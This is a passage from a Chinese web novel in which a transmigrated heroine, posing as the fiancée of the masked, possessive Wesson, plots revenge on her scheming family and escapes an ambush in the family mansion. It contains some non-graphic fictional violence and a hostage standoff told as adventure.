“是,是啊!”巴特老爷接过话茬,迎上维森投来的目光,“维森,这样可不行,会让我的乖女儿心疼的。”
“当然。”维森的声音带着一丝玩味的笑意,看向巴特老爷的眼神却如冰锥般,“让我的伊拉心疼,确实是我的问题。”
说完后,他伸手将纪觅依拉至身边,极其自然地揽过,指尖在她肩头轻轻一按,而纪觅依顺着他的拉扯依偎过去,歪头紧贴着维森。
巴特老爷脸上的肌肉抽动一下,但笑容丝毫未变,连忙奉承道:
“看你们感情这么好,我也放心了。维森啊,伊拉这孩子就是心软,以后你可得多担待。”
“自然。”
维森简短地回答了一句,注意力全在怀中的人身上。
纪觅依看到巴特老爷在维森面前气焰全无的样子,脸上甜蜜的笑意倒是多了几分真,她冲巴特老爷眨了眨眼睛,说道:
“下次可不要这么和我开玩笑了,父亲。”
“好,好好。”
巴特老爷只好应下,毕竟他也清楚,现在能稳住维森的,只有她。
这时,在维森冲进来后就偷偷溜走的管家出现在门口,俯身朝巴特老爷说道:
“老爷,晚餐已经准备好了。”
“既然这样。”巴特老爷向管家招手,“伊拉,你先和维森去餐厅,我随后就来。”
“好的。”
纪觅依深深看了他一眼,挽着维森,跟随管家的步伐离开书房。
长廊里,在他们离书房足足隔了数十步后,纪觅依吐出一口气,紧绷的背部也终于得到放松的机会。
“伊拉,你的手没有被划伤吧。”
维森忽然开口,借着关心的名号凑到她耳边,留下一句——
“你为什么哭?今晚慢慢告诉我,亲爱的。”
32. 共处一室√
“你看,这不是没事嘛!”
纪觅依抬起双手,在维森面前晃动了两下,也趁此凑到他脸侧,耳语道:
“好,今晚,我们——”
“慢慢聊。”
他们携手走到餐桌后,晚餐开始。
巴特老爷过了几分钟来到餐厅,走到主座前坐下,与恰好抬起头的纪觅依交换了一个眼神。
他刚低下头,兰迪就抬起脑袋,对着纪觅依眨了眨眼睛。
她眼神回应后,低下头,嘴角勾起,愈发觉得有趣——
餐桌上这一家人,真是各怀鬼胎。
巴特老爷,你知道自己的乖儿子早就把你出卖了吗?
这顿饭在这种心照不宣的诡异平静中草草收场。
纪觅依是最后放下餐具的,等她擦嘴巴时,巴特夫妇礼貌寒暄几句,便推着兰迪离开。
“看来这次的晚餐挺和你胃口的。”维森单手撑着下巴,温柔地看着纪觅依,“回去之后,我让阿斯莫德也学学。”
“只是心情不错罢了。”
纪觅依朝他一笑,维森的耳尖“唰”就红起来了。
维森骨子里居然这么纯情,这样就害羞了?
她对把握全局越来越有信心了。
“好累,管家——”纪觅依对管家招了招手,将他唤到身边,“带我们回房间吧,我要歇下了。”
“今晚你可得看好兰迪,别再打扰我和我的未婚夫。”
“好的,伊拉小姐。”
说完后,她站起身,向维森伸出手,邀请道:“走吧,亲爱的。”
他的视线落在了她的手上,娇羞地牵上,嘴边挤出一个弱弱的“好”。
管家看在眼里,却一句话也不敢说,将头快埋到胸口,安静站在那,直到纪觅依对他点头示意,才迈出步子。
走到客房后,管家就识趣退下,而维森在纪觅依走进房间后,将门一关。
“咔哒——”
清晰的锁门声从她背后传来,在骤然寂静的房间里如同子弹上膛。
纪觅依背脊微微一僵,随即放松,她尽可能自然地转身,正对上维森投来的目光。
他靠着门板,用那双浑浊的绿色眸子锁在她身上。
先前的羞赧荡然无存,这突变,让纪觅依紧张到背后冒汗,手向匕首摸去,指尖隔着布料,虚握住刀柄。
然而,下一秒,她落入了一个猝不及防的拥抱。
“我们终于单独相处了。”
他热切的呼吸声喷洒在她耳侧,纪觅依愣住了,还来不及反抗就被维森抱起。
“我没有想到,你居然这么主动,伊拉,我的伊拉。”
维森将她紧紧抱在怀里,转了好几圈,一脸懵的纪觅依在旋转中头脑发晕——
他的脑子里到底在想什么啊!
“等等!”纪觅依用力拍打着他的肩膀,维森却当作奖励,将她抱得更紧,直到她的语气有些生气,“放我下来!”
“别害怕,我会把你抱紧的。”
纪觅依恨不得甩他几个白眼,点着他的脑子“关心”几句。
可这不符合他们的“恋爱”剧本,她只好作罢,压着火,温声劝道:
“放我下来好吗?亲爱的,你把我吓到了。”
“好。”
等维森将她稳稳托到床边,在她面前乖乖蹲下后,纪觅依算是了解这个吃软不吃硬的家伙了。
“对不起,伊拉。”维森握住她的手,贴在自己的脸侧,“得到你明确的爱意,我很难控制住自己。请原谅我过激的行为,好吗?”
“嗯。”
纪觅依试探地缩了缩手指,却被维森霸道地握住,逼得她只好放弃。
“亲爱的,那可以告诉我,是什么让你那双美丽的眼睛哭泣。你知道吗,当我对上你那双泛红的眼睛,这颗为你而颤动的心脏都要碎掉了......”
纪觅依的右手躲在身旁,扣着指甲缝,强作镇定。
这句腻歪且尴尬的长难句是怎么说出来的?
她不解,但只能演出被触动后伤感的表情,张了张嘴,紧接着就闭上。
“伊拉?”
维森轻轻晃了晃她的手,声音里带着一丝困惑。
“我......”纪觅依垂下眼睫,再抬起时,眼眶已经蓄起了一层薄薄的水光,“我不知道,我不知道该怎么告诉你。但我听到的时候,真的很难过......”
她声音很轻,仿佛下一秒就要零碎飘散而去。
“难过?”
维森立刻紧张起来,他松开她的手,转而伸出,想去抚着她的脸。
可他又怕这突然的动作吓到纪觅依,只好收在她膝头,动作因急切显得有些笨拙。
“为什么难过?我就知道,他还有瞒着我的。”他轻声细语道,“告诉我好吗?”
维森摸上心口,应着他曾说的那句话——他的心都要被她哭碎了。
他的反应正中她下怀,纪觅依吸了吸鼻子,将那股委屈劲发挥到极致。
“父亲......他说,其实早就为我定下婚约,我必须取消和你的婚约。”
维森的身体瞬间绷紧了。
尽管隔着面具,纪觅依也能感受到那骤然冷凝的视线。
“早就定下?”他的声音也冷下来了,“和谁?”
“亨利伯爵。”
她吐出这个名字,观察着他的反应。
“亨利......”维森重复了一遍,咬牙切齿般咀嚼着这两个字,然后发出一声意味不明的哼笑,“那个老东西。”
“父亲还说,他明晚就会来接我,让我今晚,好好和你告别?”
“告别?”
维森猛地站起身,动作快到带起一阵风,他焦急地在床前踱了数步,随后站定,盯着纪觅依。
“他想让你和我告别?然后呢!把你送到那个老东西那里?”
他的语气激烈起来,混杂着愤怒和暴戾。
“他把你当作当什么?又把我们的婚约当什么?”
纪觅依看着逐渐暴躁起来的维森,心中确实惊奇——
维森在意的居然不是巴特不尊重他自己这件事吗?
“伊拉。”维森突然喊出她的名字,纪觅依抬起头,对上他锐利的眼神,“你不会早就知道这一切吧。”
纪觅依适时地瑟缩一下,像是被他熊熊燃起的怒火吓到。
她确实被他突如其来的猜疑搞得一愣,但一切,依旧在掌握之中。
她眼底的水光终于滑落,顺着脸颊流下清晰的痕迹。
“你怎么也变成这个样子了......”她摇了摇头,眼神里满是失望,“你怎么也要欺负我?明明我也是今天才知道的,我不想......”
“我只是......不想离开你。明明我选择的是你,维森。”
这句话像是一个开关,瞬间浇灭了维森刚还在势头上的怒火,他重新蹲下,握住她的手。
一种深沉而偏执的情感在他眼底酝酿,维森的手指拂过她的手背,半是请求,半是命令道:
“看着我,伊拉。看着我,好吗?”
“我永远不会欺负你的,我只是怕你不要我了。”
他再次捧起她的手,在脸边蹭了蹭,语气像一只摇尾乞怜的忠犬。
“我只是怕你不爱我,不管你做什么,哪怕你选择其他人,我都会原谅你的。”
他的目光近乎贪婪地舔舐着她的脸庞,企图得到她的回应。
纪觅依听完他这番话,不安的心倒是落下了。
她很明白,维森说的话听听就好,如果自己真的选了其他人,他就不会是现在这幅样子了。
“我不想
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嫁给亨利,维森,我需要你。”
“好。”维森一口应下,“我帮你解决这一切,今晚我就处理掉他们,明天,带你回庄园,好吗?”
“不......”
纪觅依的拒绝出乎他的意料,但也只有对她,维森能耐下性子,听完她的理由。
“我需要你辅助我,我要亲手处理这一切。”
“哦?”纪觅依的话勾起了维森的兴趣,他保持沉默,等她继续说下去。
“我恨我的家族,在他们眼里,我就是一个获取利益的商品。好不容易遇到了你,我终于有希望,能够逃离这一切。”
“他们却在阻止我们在一起!”
“凭什么?维森,我要报仇——”
纪觅依说出这句话时,眼中的怒火燃起,这场只有一位观众的戏掺杂更多的,是真情。
要报仇是真的。
伊拉那么多年的不甘、委屈、折辱,在此刻通通爆发出来,深深感染着纪觅依,她的灵魂随着这具身体一起颤动。
她大可以让维森去处理这一切,安安心心在背后收网就好,唯一要考虑的,可能就是怎么偿还对他的利用。
可,这不是伊拉最想要的结果,也不是纪觅依认可的公平。
以牙还牙不叫公平,那叫反击。
而她要做的,是让巴特老爷最在意的东西,在他面前彻底粉碎。
维森握住她的手腕收紧,又在下一秒立刻放松,生怕捏疼了她。
他的双眼中满是惊喜与亢奋,承诺道:“好。你想怎么做,我都听你的?”
纪觅依压下被他这种目光注视所带来的战栗感,沉住声音:
“明天,我们都要装作不知道这一切。如果依照巴特的安排,他会想办法支开你,让兰迪把我引开。我不知道,在此期间,他会不会对你下手,希望你能保护好自己,尽可能不要离宅子太远。”
“你是在关心我吗?”维森甜蜜一笑,用面具边缘在她手心摩擦,“你放心,没有人能伤得了我。可我担心,你怎么应对?”
“我需要假装顺从,看看他们到底要把我藏到哪里去。”
只有她和原主知道,这背后是一场封建的献祭仪式,她必须示弱来接近巴特老爷一直掩盖的核心区域。
“那,你能保证你是绝对安全的吗?”
纪觅依被这句话问到了——
糟糕!这几日大量的信息冲昏了头脑,导致自己思虑不周。
维森说得对,在绝对的力量面前,任凭她如何反抗都是徒劳,就像,那场回溯中的“伊拉”那样。
一想到这,纪觅依后背发寒,埋怨着自己的盲目自信,同时也焦虑到极点:
难道复仇计划就要泡汤了吗?
维森察觉到了她的情绪,无奈一笑,从兜中掏出一串手链,细致地在她的手腕上戴好。
他的声音温柔却有力的抚慰着她:“伊拉,有时候,寻求帮助,未免不是件好事。”
“这是?”
她晃了晃手腕,坠在银链上的铃铛发出声响。
“试着对它呼唤我的名字。”
纪觅依看了看维森,犹豫片刻,再次摇起铃铛,低语出——
“维森。”
话音刚落,铃铛自主地摇动起来,手腕中间的宝石也发出光芒,吸引着她的视线。
纪觅依这才注意到,那是一颗酷似维森眼睛的宝石,这让她想起了,那把阿斯莫德送给她的匕首。
宝石的中央有节奏地闪动,与它相望久了,真的会觉得那是一只正在眨动的眼睛。
“这是情人之眼。”
纪觅依看向维森,在铃铛声中,光源如一条细线在面具上裂开,从眼睛处蔓延至全脸。
面具与手链同频闪烁,随着她的呼吸而翕动。
“喜欢我送你的订婚礼物吗?”
33. 蓄势
纪觅依的手一僵,突如其来的危机感催促着她远离身边的男人。
她将手抽离,本能地想往左边躲去,却被维森一把搂住。
他的力道极大,纪觅依的脸只能紧紧贴在他的胸口上,聆听着他皮肉之下的心跳。
“砰砰砰——”
纪觅依分不清这是自己的心跳声,还是维森的。
她感受着他在自己肩头敲击的手指,被握住的右手手心开始冒出虚汗。
“伊拉,我还没说条件是什么呢,别这么紧张。”
鬼才能不紧张!
纪觅依心里暗骂着,维森这个人就像是个永远在倒计时的定时炸弹,不炸,但能吓死人。
尽管她心里有无数个想抛出的问题,在此刻也只能暂且放下。
明天才是最重要的一局,她得给这个定时炸弹按下暂停键。
“你帮我,我们的婚约才能进行。”纪觅依连哄带骗道,“我不只是为了自己,也是为了你,我亲爱的维森。”
此刻他却难得清醒,笑着反问道:“那我为何不今晚就将他们全部处理掉?亲爱的,我有这个能力。”
“所以,你得用条件将我拴住,让我乖乖听从你所有安排。”
他握住她的手腕,慢慢拉近,抵在自己的脖子上,他的喉结滚动,擦过纪觅依的指尖。
维森以这种脆弱的姿态引诱着她,在那一瞬间,纪觅依甚至生出一种错觉——
他的脖子上真的有一个项圈,而自己正牢牢抓住锁链,只需要轻轻一扯,附带上一个小奖励,就能让他全身心服从自己。
她并没有被这个假象蒙骗,只是更谨慎地问道:“条件是什么?你知道的,我一无所有,可能给不了你想要的东西。”
维森松开了她的手,纵容着她防备地收回,在她肩膀上敲击的手指加快,兴奋道:
“我不会为难你的,伊拉。我只需要你,在回到庄园后,主动向阿斯莫德说出我们的婚约,通知他准备婚礼仪式。”
“亲爱的,这就是一件随手的事情,完成它简直轻而易举。”
这件事本身是不难。
可一旦完成了,她该如何处理与阿斯莫德的关系?
纪觅依现在终于明白,阿斯莫德送给自己的礼物不单单是一把匕首,而是晦涩的示爱。
他估计也没料到,她收下后扭头就开始冷暴力。
对他而言,伤心的不仅仅是纪觅依的不信任......
虽然她不清楚,自己对他是什么情感,可无论如何,在本身就有愧的情况下去完成维森的条件,简直就是在挖阿斯莫德的心!
不管是出于什么原因,她都做不到。
纪觅依冷着脸开口:“你还在怀疑我和他的关系吗?维森,你对我连基本的信任都没有。”
她本想通过这样的方式,逼着维森改变条件,可没想到维森往她身上一靠,声音腻到她狂冒鸡皮疙瘩:
“你冤枉我了,我知道你只爱着我,甜心。”
那声甜心的尾音拖的极长,带着她的嘴角抽搐了一波。
“可是我善妒,当我看到注视着你的不仅是我,就妒火烧心。”维森抚上心脏,“可我不能将他驱赶,庄园的一切都需要他打点。”
你还知道啊!
纪觅依恨不得跳起来指着维森的鼻子骂:
人家阿斯莫德一天天忙忙忙,那么大的庄园就他一个人干活。你倒好,天天缩起来,也不给他找个帮手。
现在要结婚了,嫉妒心就长出来了,介意他是个男人了,那自己刚来庄园的时候,他就不是了?
“你亲口告诉我们的管家,我就配合你的计划。”
在他说完后,房间内陷入了长时间的沉默。
纪觅依内心无比纠结,可她很清楚,这是一笔受益方写着自己姓名且无法拒绝的交易。
伊拉的仇要报,回家的路要找,而阿斯莫德的心,或许,本就是她在这个世界内,要学会放下的东西。
实在不行的话......
等回庄园,她试试能不能委婉点说出来,大不了,还可以卖惨,就说是维森这个家伙逼自己的。
嗯,就这么办!
纪觅依决定好了,她点头应下,郑重地说出:“好。”
维森得偿所愿后,大方地放开纪觅依,说道:
“那你快去洗澡吧,今天你肯定累坏了,我们早点歇下吧。”
虽然好不容易把他稳住了,但纪觅依也想起了——
今晚,自己要和他同床共枕!
看着维森期待的眼神,纪觅依强颜欢笑,打开行李箱,翻出睡裙,抱着冲进浴室。
当浴室门关上后,纪觅依靠着墙叹出一口长气。
怎么办?为了回家,硬着头皮和维森躺在一张床也不是不行。
可就凭他那恋爱脑的疯劲,她是真的害怕距离一近,他对自己做些什么。
她没有付出这么多的决心,更何况,这是伊拉的身体。
热水从身上流过,却没有带走她的烦恼,只掩盖住了那接二连三的叹息声。
纪觅依擦干身子,套上睡裙。
考虑那么多也没有用,只能根据情况来发挥了。
她将匕首藏在宽大的袖子下,冰凉的金属紧贴着小臂,也让她更加清醒和警觉。
纪觅依屏住呼吸,握着门把手一按,脑中预演了数种可能发生的尴尬乃至危险的场景。
门开了。
预想中的画面并未出现。
维森没有在床边等着,也没有以任何暧昧的姿态侵占她的视线。
他背对着浴室,正俯身将枕头放在长沙发上,纪觅依走近几步,只见上面已经铺好了一层绒毯,他的身旁紧挨着一床整齐叠好的被子。
听到纪觅依逐渐靠近的脚步声,维森转过头,愣住几秒后,耳尖又红起来了。
纪觅依不明白他在害羞什么,明明睡袍已经严严实实地将自己包裹住,顶多有半截脖子露在外面。
“你,你洗好了。”维森难得结巴起来,“我想,想了想,亲爱的,今晚我睡沙发。”
“毕竟我们还没有正式举办婚礼,同床共枕还是太冒昧了。”
他的声音带着点局促,说完这句后期待地看着纪觅依,继续道:
“当然,如果你需要我陪,我也非常愿意躺在你的身边。”
太好了!
这句话差点脱口而出,纪觅依马上抿起嘴巴,生怕说漏。
感谢维森骨子里还是个纯情的人,她都不用找理由应对了,至于需要他陪?
那是不可能的,她巴不得离远点。
“我亲爱的维森,你真体贴。”纪觅依语气里是实打实的满意,“今晚我就自己睡吧,我累坏了,明天还要去处理父亲那边的事。”
她转身就向床边走去,利落地一躺,顺手将匕首塞进枕头下,将被子盖在身上,摆出标准平躺的姿势。
纪觅依直接一句“晚安”,根本没有给维森反悔的机会。
他的声音有些落寞,但最终只是宠溺一笑,说道:
“好的,亲爱的,晚安。”
烛火被他逐个熄灭,只留下墙角一盏壁灯,散发着昏黄柔和的光晕。
纪觅依睁大眼睛,一切声音在此刻被放大,她能清晰听到窗外细微的风声,沙发上布料摩擦的沙沙声,随着时间流逝,维森的呼吸声平缓下来。
这一夜,出乎纪觅依的预料。
维森就这么随意地睡熟了,倒显得她那些担心都怪多余的。
她在黑暗中睁着眼,满脑都是对躺在沙发上那位的猜疑。
纪觅依没有忘记铃铛响动时,维森那双突变的眼睛。
在解决掉原主家族后,她要找个机会,看看那藏在面具之下的真面孔。
伊拉说过,她走在正确的路上,既然如此,就要更加努力去获取线索。
身体的疲惫逐渐上涌,压过了纷杂的思绪,她听着不远处的呼吸声,不知不觉间,困意盖住了警觉。
无论如何,今晚安全了。
纪觅依选择放过自己,任由意识陷入黑暗,放松沉睡过去。
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次日清晨,她自然醒来,刚坐起身睁开眼,就对上了维森的眼神。
这一眼就把纪觅依的瞌睡虫扫清,维森就这样坐在床边,不知多久开始观察她。
即使相隔甚远,她依旧被吓了
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一大跳,差点就将匕首从枕头下抽出来,最终还是忍住了。
“早上好,伊拉!”
正所谓伸手不打笑脸人,纪觅依只能干笑回应:“早上好,你很早就醒了吗?”
“我也记不清了,看着看着就忘了时间。”维森起身,朝门口走去,“伊拉,你收拾吧,管家刚才已经敲过门了,我在外面等你。”
管家居然已经来过了吗?
纪觅依扶着脑袋,心里懊恼道:和维森相处应该谨慎点的,怎么会睡得这么死啊?
算了......
现在最重要的是,应对接下来巴特老爷的计划。
维森将门关上,纪觅依立即将被子掀开,从手提箱里翻出一件长裙。
她专门留意过,这件裙子虽然繁琐,但是泡泡袖的设计也正好能挡住手臂,她今天要将匕首绑在小臂上,这样比绑在腿上更有利于应对突发情况。
纪觅依三两下收拾好后,深深呼出一口气,打开了房门。
维森靠在正对门的墙壁边,而管家站在他身侧,安静侍立。
在看到她开门后,维森自然走来,递出右手,纪觅依顺势搭上,朝管家点了点头。
“伊拉小姐,这边请,老爷他们已经在餐厅等候多时了。”
管家说完后,俯身示意,带领二人朝餐厅走去。
巴特老爷坐在主桌上,等待的有些不耐烦,愈发焦躁地捋着胡子,看到二人终于到了后,不满地轻哼一声。
他眯着眼,朝纪觅依阴阳怪气道:“伊拉,你的母亲和弟弟已经等你很久了。”
她毫不在意,语气平静地说了句“抱歉”,就泰然坐下。
维森可不是不计较的人,他坐下后,挑着眉,学着巴特的语气:“夫人和弟弟饿了可以先吃,她在我的庄园,从未顾虑过这些没必要的规矩。”
这句话直接把巴特老爷噎住,他不说话了,胡子气得一翘,安静吃饭去了。
而巴特夫人和兰迪对饭桌上的事情视而不见,只是在老爷拿起餐具后,默默用餐。
纪觅依知道维森是替自己出这口恶气,但又怕他这态度引起怀疑。
她借着拿杯子凑到他耳边,以只有彼此能听到的声音说:“别和他计较。”
维森明白她的意思,也凑到她耳边。
“都听你的。”
纪觅依脖子一激灵,说话就说话,吹什么气,刺得她一痒。
她拉远了距离,在位置上坐好,又对上了兰迪的目光,不知何时,他在偷偷观察着他们的一举一动。
纪觅依朝他一笑,兰迪迅速低下了头,不知道脑袋里在想些什么。
过了一阵,等维森吃完后,巴特老爷放下刀叉,开口邀请道:
“维森,今天天气不错,不如趁此机会,我们一同去森林打猎。”
“哦?”维森拉起了纪觅依刚刚放在桌上的手,视线落在她身上,“伊拉要和我们一起吗?”
“伊拉不会骑马,再说了,她一个女孩子,跟着我们也不安全。”
“是啊。”纪觅依接受到巴特老爷的眼神示意,同时在维森的手心暗暗戳了几下,“我就待在这里,等你回来就好。”
“你可别让着父亲啊,让他见识一下你的本领。”
巴特老爷大笑,调侃道:“这还没嫁出去,就已经这样对我了,伊拉,你真是向着维森。”
“父亲,您这话说的,我可没有这个意思。”
巴特老爷走近拍了拍纪觅依的肩膀,说道:“我当然知道了,你可是我含辛茹苦、培养了数年的乖女儿。”
他站在纪觅依身边,招了招手,管家从他身后走来。
“去安排马匹吧。”吩咐完后,他侧身向维森摊手,作邀请状,“走吧,女婿。”
纪觅依转身,朝正准备出发的维森歪头一笑,嘱咐道:“亲爱的,注意安全。”
“父亲年龄大了,辛苦你多照顾一下。”
“那是当然。”维森孩子气地眨眼回应,“等我去多抓些有趣的小东西,回来带给你。”
纪觅依点头应下,看着维森离去的背影,她知道,这场大戏的序幕已经悄然拉开。
而宅子里的这一幕的主角,是她自己。
34. 序幕之后
纪觅依目送着他们的背影消失在视线范围内,缓缓收回目光,优雅地继续拿起刀叉。
她假意用餐,实际上在等待兰迪接下来的行动。
“我吃完了。”
兰迪将餐叉往盘中一丢,发出刺耳的撞击声,他撑着桌子发力,将椅子向后推,从位置上跳下来,快步走到纪觅依身边。
“姐姐,今天还陪我玩,好不好。”
兰迪扯着纪觅依的衣袖,她将手臂收回,生怕暴露了藏着的匕首,站起身回应道:
“好,今天你想去哪里玩啊?”
“我们还去抓蝴蝶!今天天气好,一定能抓到的!”
“好。”
纪觅依顺着他起身,在离开餐桌时,她注意到了巴特夫人的异常:她并未像之前一样,劝阻兰迪,只是陷入了长时间的沉默。
在兰迪拉着纪觅依即将离开餐厅的时候,巴特夫人突然双手合十,虔诚地祈祷,嘴里念念有词。
可惜这一幕,并未被纪觅依看到。
她任由兰迪拉着她,脚步却控制得不急不缓,仿若真是姐弟间一场寻常的嬉戏,他们穿过长廊,走到大门外。
兰迪今天并没有张望,只是左手捏住衣角,果断拉着她绕到宅邸的右侧。
纪觅依早就察觉到了这里的异样,平日里穿梭往来的仆人们,此刻被抹去了所有踪影,而兰迪的毫不设防坐实了她的猜测。
看来,巴特老爷把重心全放在了对付维森身上。
这不得不让她担忧,却只能祈祷维森真的能按照计划那般,及时赶来。
纪觅依跟着兰迪走进熟悉的门内,少年的脸上是少见的紧张,她刚才也感受到了他潮湿的手心。
“怎么了,兰迪?”
“我,我就是有点紧张。”他艰难地吞了口唾液,“按照父亲的计划,我应该把你引到阁楼,再把你迷晕。”
他从裤兜里掏出一张手帕,严肃嘱咐道:“等会,我们走上去,你装作晕倒在地上,把帕子丢在身边。”
她接过手帕,指尖传来一股刺鼻的甜腻气味。纪觅依屏住呼吸,避免吸入手帕上浸染的迷药,不动声色地将其虚握在手中。
“我知道了。”她声音平稳,目光扫过楼梯,又看向兰迪,“那你呢?”
“我想办法引开母亲,如果过了半个小时,我还没有回来,你就直接逃走。”兰迪啃咬着食指关节,声音紧绷得有些颤抖,“我也没想到,父亲突然变了计划。”
纪觅依不意外,父亲瞒着兰迪的可不止这一件事,她也没有完全将希望寄托在这个遇事就慌的弟弟身上。
她拍了拍兰迪的肩膀,安慰道:
“没事的,我相信你。只要你协助我,我们的计划就会成功。”
纪觅依坚定的目光让兰迪发抖的手逐渐平稳下来,他看向她的眼神里,不再是一件看向自己所属物的占有欲,而是真正把她当做长姐的依赖。
“好,我会保护你的。”
纪觅依主动走上楼梯,每迈出一步,她的心脏就在胸腔内猛撞一次。
其实她才是最紧张的人,今天这一局,她已经将自己所有的棋子都摆在桌上,胜负未定,存亡只在一息之间。
纪觅依在心里默念,仿佛在与伊拉的灵魂对话:
我们会赢的。
不但要赢,还要大获全胜,让这些人付出代价。
她再次踏入这个狭窄的囚笼里,木头朽坏的陈腐气息依旧令人难以忍受,兰迪在她身后关上门,靠在门板边。
“姐姐,就,就在这里吧。”兰迪指了指靠床的地板,声音仍是止不住地抖。
纪觅依没有多言,看向兰迪的眼神晦涩难辨,做戏要做全套,她踉跄一步,下定决心往地上倒去。
她绷紧身体,侧身让手臂先着地,与地面接触时发出“砰”的一声闷响。纪觅依咬紧牙关,忍住这令人头皮发麻的痛感,紧闭双眼,放弱呼吸。
与此同时,她的手悄悄调整了位置,将握着帕子的手自然摊开在身侧,另一只手则自然地靠近藏着匕首的袖子。
纪觅依听见兰迪松了一口气,紧接着是一阵急促远去的脚步声。
令人窒息的寂静在阁楼里蔓延,视野一片黑暗,其他感官便被放大到极致。
时间一分一秒过去,纪觅依在心中默数,大约过了五分钟后,楼梯方向传来了新的动静。
她仔细听着脚步声——
一个人......两个人。并且,这里面没有兰迪。
巴特老爷瞒了自己儿子不少啊......
纪觅依的呼吸没有丝毫紊乱,只是默默调动着每一根神经。
她是他们计划的变因,对于他们而言,自己此时是昏迷的状态。敌在明,我在暗,只要稳住,就能应付过去。
纪觅依默默给自己打气,听着一轻一重的脚步声缓缓靠近。
“晕过去了?”
“看样子是的。”
阁楼的门板被推开,纪觅依清晰地听到了两个妇人的声音。
“按照老爷的计划吧。”
“是。”
看来是巴特还留了两个仆人在宅邸里,还真是感谢他没有完全轻视自己。
她感受到其中一人正在俯身靠近,就在对方伸出满是粗茧的手、将要触碰到纪觅依的手腕的前一刻,她一把抓住帕子。
就是现在!
纪觅依睁开眼,扯住来者的衣摆,借力迅速弹起身,扬起手,使劲捂住她的口鼻。
与此同时,她提膝,一脚踹向站在门口的另一个女仆,对方被打得措手不及,根本没有稳住重心的机会,向后一仰,从楼梯上滚下。
而被帕子捂住的女仆,在吸入迷药后眼神渐渐涣散,身体却没有停止反抗,不停用手肘回击。
对方身材高大,力道也极狠,纪觅依的肋骨被打得生疼,差点挟持不住。
她强忍痛意,抽出绑在小臂上的匕首,刀柄的绿宝石在落入她手心时,划过一道暗芒。纪觅依没有丝毫犹豫,将匕首一转,用尽全力握住刀柄,砸向女仆的颈侧。
在那一瞬,时间仿佛被拉长了。
女仆青筋暴起的脖颈一歪,而纪觅依捂住她的手臂紧绷到颤抖,随即泄力收回。
“呃!”
原本手帕下含糊的呜咽声消失,沉闷的击打声和女仆的闷哼声同时响起。
纪觅依本能发出的这一击又快又准,直击要害,女仆眼球上翻,身躯一晃,轰然倒地,直接晕厥过去。
她捂着右侧的肋骨,紧握匕首的手颤着朝昏死在地上的人探去,指尖下传来温热的脉搏。
还好,没死......
她悬着的心落了半截,憋着的一口气终于泄出,肋下的疼痛抽紧,刺得她倒吸了好几口凉气。
纪觅依缓了几分钟后,扯下床上发白的床单,将倒地的女仆反手绑住,打了四五个死结,随后踉跄走下楼梯。
被她踹下的仆人瘫软在地上,纪觅依缓缓靠近,伸出手颤抖地摸上她脑袋右侧的肿块,又探向她的颈侧。
这个也活着。
她握住匕首的手忍不住地抖,这种后怕感席卷而来,又迅速被理智压下——
已经做的很好了......都还活着......如果今天倒下的不是她们,那走上死路的就是自己了。
她说服了此时心中不该出现的道德感,握住匕首向裙摆一划,撕下布条,以同样的手法绑住摔倒在地上的女仆。
纪觅依喘着粗气,决绝地拉开门,恰在此时,狂风大作,一扫之前的晴空万里。
她拨开被风吹乱的头发,虚眯着眼睛,看向从大门跑来的兰迪。
他看到她狼狈的样子,嘴一抿,什么也没说,扯着她的手就往门口跑去。
纪觅依只好皱眉跟上,看着兰迪被风扬起的栗色短发,她沉着脸问道:
“发生什么了?”
兰迪没有回应,只是加快了脚步,纪觅依不知道他哪来这么大的力道,直到跑到长廊上,他才断断续续回应道:
“我,我送你去书房的暗道,你从那里逃出去。”
纪觅依眼见书房的大门越来越近,一种从未如此强烈的危机感在大脑中嘶吼,她往后发力,却被兰迪一把扯上前,差点摔倒。
兰迪快要急哭了,脸涨得通红:“你干什么啊!快走啊,逃啊!”
“母亲呢?”此刻,纪觅依感觉自己的思绪达到了前所未有的清晰,“你把她引开了吗?”
兰迪声音嘶哑,哭喊着:“暗道就是母亲告诉我的!她心软了,你相信我,快,我们走!”
不对劲!
书房门从内打开了一条缝隙,纪觅依将兰迪向怀中一扯,右手的匕首抵在他纤细的脖颈上,满脸警觉地看向门后——
是巴特夫人。
她脸上堆着慈爱的笑,却被所看到的一幕吓得一僵,瞬间变了脸色。
“伊拉,你在干什么!”巴特夫人抬起双手,满眼都是对兰迪的担忧,“放开你弟弟,你是不是误会什么了?”
“误会?”
纪觅依将兰迪搂得更紧,避免他脱离自己的挟持,而兰迪显然没经历过这些,当匕首贴在脖子上的时候,整个人抖成筛子似的。
“别抖!”纪觅依在他耳边威胁道,“你再抖,等会真的划破了。”
“......嗯。”
兰
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迪生理性的泪水不断滴下,如果不是纪觅依撑着,他早就腿一软,瘫在地上了。
真是废物弟弟......
纪觅依心里无奈道,就这心理素质,当初还信誓旦旦说可以当人质,只能庆幸,还有维森这个后招。
“到底什么暗道?”
她双眼充血,恶狠狠地看向巴特夫人,吓得对方求饶的废话全部咽在肚子里。
“我,我没骗你,我的女儿。我没想到你父亲要下手,我不知道啊!”
“回答我的问题!”
纪觅依右手贴紧兰迪的脖子,他稚嫩的皮肤立即划出一道血痕,血珠从中沁出。
他以为纪觅依真的要对自己下手,泣不成声地喊道:“母亲!”
“我说我说!我带你去!”巴特夫人看到兰迪脖子上的伤痕,眼泪决堤而出,“在书房里,暗道里可以通往三公里外,只要你出去了,没人能抓到你。”
“伊拉,把你弟弟放了,别吓到他。”
“先把暗道打开。”纪觅依看着如此母子情深的一幕,愈发觉得心寒,语气更加冰冷。“现在是你求我,不是我求你。”
“好,好......”
巴特夫人抹着眼泪,提着裙摆小跑到书房内,纪觅依向四周望了望,谨慎走入。
只见她掰动着书架中央的铜制浮雕,纪觅依带着兰迪小步凑近,仔细观察着。
那是一对舒展而开的天使翅膀,纪觅依越看越眼熟,就好像在哪里见过。
在哪里见过呢?
那浮雕上的天使羽翼,与记忆中马车家徽上被长剑贯穿、未能完全舒展的翅膀,此刻在她脑海中重合。
一个荒诞却愈发清晰的念头击中了她:
她好像知道,为什么伊拉会选择维森了。
“就是这里了......”巴特夫人声音发颤,快步挪到桌旁,指向书架侧方无声滑开的一道幽暗入口,“顺着地道直走,就会发现出口了。”
入口内是一段向下延伸的石阶,即使两侧的石壁每隔几米就有一盏壁灯,暗道的尽头仍被黑暗吞噬,一眼看不到底。
纪觅依嗅了嗅,地道里涌出的气流带着泥土的气息,没有其他异常的味道。
可她犹豫了,扭头盯着母亲那双盛满泪水的眼睛,从中感受到了一丝难以察觉的焦灼。
“快走啊!”
“母亲。”纪觅依开口,语气里满是防备,“您先走。”
